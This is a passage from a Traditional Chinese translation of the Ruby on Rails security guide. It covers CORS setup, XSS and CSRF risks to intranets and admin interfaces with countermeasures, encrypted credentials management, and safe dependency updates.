若要開始,將 rack-cors gem 加入您的 Gemfile

gem 'rack-cors'

接著,加入一個初始化程式來設定中介軟體

# config/initializers/cors.rb
Rails.application.config.middleware.insert_before 0, "Rack::Cors" do
  allow do
    origins 'example.com'

    resource '*',
      headers: :any,
      methods: [:get, :post, :put, :patch, :delete, :options, :head]
  end
end

9 內部網路和管理員安全性

內部網路和管理介面是熱門的攻擊目標,因為它們允許特權存取。儘管這需要數項額外的安全措施,但實際上卻相反。

2007 年出現了第一個從內部網路竊取資訊的客製化木馬,即 Monster.com 的「Monster for employers」網站,一個線上招募網路應用程式。到目前為止,客製化木馬非常罕見,風險也很低,但這肯定是一種可能性,也是客戶端主機安全性也很重要的範例。不過,對內部網路和管理應用程式最大的威脅是 XSS 和 CSRF。

9.1 跨網站指令碼

如果您的應用程式重新顯示來自外部網路的惡意使用者輸入,該應用程式將容易受到 XSS 攻擊。使用者名稱、留言、垃圾郵件報告、訂單地址只是少數常見的範例,其中可能會有 XSS。

在管理員介面或 Intranet 中有一個單一位置,其中輸入未經過淨化,會使整個應用程式容易受到攻擊。可能的攻擊包括竊取特權管理員的 cookie、注入 iframe 以竊取管理員的密碼,或透過瀏覽器安全漏洞安裝惡意軟體以接管管理員的電腦。

請參閱「注入」區段,以取得針對 XSS 的對策。

9.2 跨網站請求偽造

跨網站請求偽造 (CSRF),也稱為跨網站參考偽造 (XSRF),是一種巨大的攻擊方法,它允許攻擊者執行管理員或 Intranet 使用者可以執行的所有操作。正如您在上面已經看到的 CSRF 運作方式,以下是攻擊者可以在 Intranet 或管理員介面中執行的幾個範例。

一個真實世界的範例是 透過 CSRF 重新設定路由器。攻擊者向墨西哥使用者發送一封惡意電子郵件,其中包含 CSRF。電子郵件宣稱有一張電子賀卡等著使用者,但它也包含一個影像標籤,導致 HTTP-GET 要求重新設定使用者的路由器(這是墨西哥流行的型號)。要求變更了 DNS 設定,以便對墨西哥銀行網站的要求會對應到攻擊者的網站。透過該路由器存取銀行網站的每個人都看到攻擊者的假網站,並被竊取了他們的憑證。

另一個範例變更了 Google Adsense 的電子郵件地址和密碼。如果受害者已登入 Google Adsense,這是 Google 廣告活動的管理介面,攻擊者可以變更受害者的憑證。

另一種常見的攻擊是對您的網路應用程式、部落格或論壇發送垃圾郵件,以傳播惡意的 XSS。當然,攻擊者必須知道 URL 結構,但大多數 Rails URL 非常直接,或者如果它是開源應用程式的管理員介面,則很容易找出。攻擊者甚至可以透過僅包含嘗試所有可能組合的惡意 IMG 標籤來進行 1,000 次幸運猜測。

對於管理員介面和 Intranet 應用程式中針對 CSRF 的對策,請參閱 CSRF 區段中的對策

9.3 其他預防措施

常見的管理員介面運作方式如下:位於 www.example.com/admin,只有在 User 模型中設定管理員旗標時才能存取,重新顯示使用者輸入並允許管理員刪除/新增/編輯任何所需的資料。以下是關於此的一些想法

  • 思考最壞的情況非常重要:如果有人真的取得您的 Cookie 或使用者憑證怎麼辦。您可以為管理員介面引入角色以限制攻擊者的可能性。或者,除了用於應用程式公開部分的憑證之外,為管理員介面使用特殊登入憑證如何。或者,為非常嚴肅的動作設定特殊密碼

  • 管理員真的必須從世界各地存取介面嗎?思考將登入限制在許多來源 IP 位址。檢查 request.remote_ip 以找出使用者的 IP 位址。這並非萬無一失,但卻是一道極佳的屏障。不過,請記住可能正在使用代理伺服器。

  • 將管理員介面放到特殊子網域,例如 admin.application.com,並使其成為具有自己使用者管理的獨立應用程式。這使得從一般網域 www.application.com 竊取管理員 Cookie 變得不可能。這是因為瀏覽器中的同源政策:在 www.application.com 上注入的 (XSS) 腳本可能無法讀取 admin.application.com 的 Cookie,反之亦然。

10 環境安全性

本指南的範圍不包含如何保護您的應用程式程式碼和環境。不過,請保護您的資料庫組態,例如:config/database.ymlcredentials.yml 的主金鑰,以及其他未加密的機密。您可能想要進一步限制存取,使用這些檔案和任何可能包含敏感資訊的其他檔案的環境特定版本。

10.1 自訂認證

Rails 將機密儲存在 config/credentials.yml.enc 中,該檔案已加密,因此無法直接編輯。Rails 使用 config/master.key 或另類尋找環境變數 ENV["RAILS_MASTER_KEY"] 來加密認證檔案。由於認證檔案已加密,只要主金鑰保持安全,就可以儲存在版本控制中。

預設情況下,認證檔案包含應用程式的 secret_key_base。它也可以用來儲存其他機密,例如外部 API 的存取金鑰。

若要編輯認證檔案,請執行 bin/rails credentials:edit。如果認證檔案不存在,此命令將建立認證檔案。此外,如果未定義主金鑰,此命令將建立 config/master.key

儲存在認證檔案中的機密可透過 Rails.application.credentials 存取。例如,使用下列已解密的 config/credentials.yml.enc

secret_key_base: 3b7cd72...
some_api_key: SOMEKEY
system:
  access_key_id: 1234AB

Rails.application.credentials.some_api_key 傳回 "SOMEKEY"Rails.application.credentials.system.access_key_id 傳回 "1234AB"

如果您希望在某個金鑰為空白時引發例外,可以使用驚嘆號版本

# When some_api_key is blank...
Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank

使用 bin/rails credentials:help 瞭解更多關於認證的資訊。

保持您的主金鑰安全。請勿提交您的主金鑰。

11 相依性管理和 CVE

我們並不會只為了鼓勵使用新版本,包括安全問題,就隨意變更依賴項。這是因為應用程式擁有者需要手動更新他們的 gem,而與我們的努力無關。使用 bundle update --conservative gem_name 安全地更新有漏洞的依賴項。

12 其他資源

安全環境瞬息萬變,因此保持最新狀態非常重要,因為錯過新的漏洞可能會造成災難性的後果。您可以在此處找到有關 (Rails) 安全性的其他資源

回饋

我們鼓勵您協助提升本指南的品質。

如果您看到任何錯字或事實錯誤,請協助我們修正。首先,您可以閱讀我們的 文件貢獻 部分。

您也可能會發現不完整或未更新的內容。請為 main 新增任何遺失的文件。請務必先查看 Edge Guides,以確認問題是否已在 main 分支修復。查看 Ruby on Rails 指南指南 以了解風格和慣例。

如果您發現需要修復但無法自行修補的問題,請 開啟問題

最後但並非最不重要的一點是,我們非常歡迎在 官方 Ruby on Rails 論壇 上針對 Ruby on Rails 文件進行任何討論。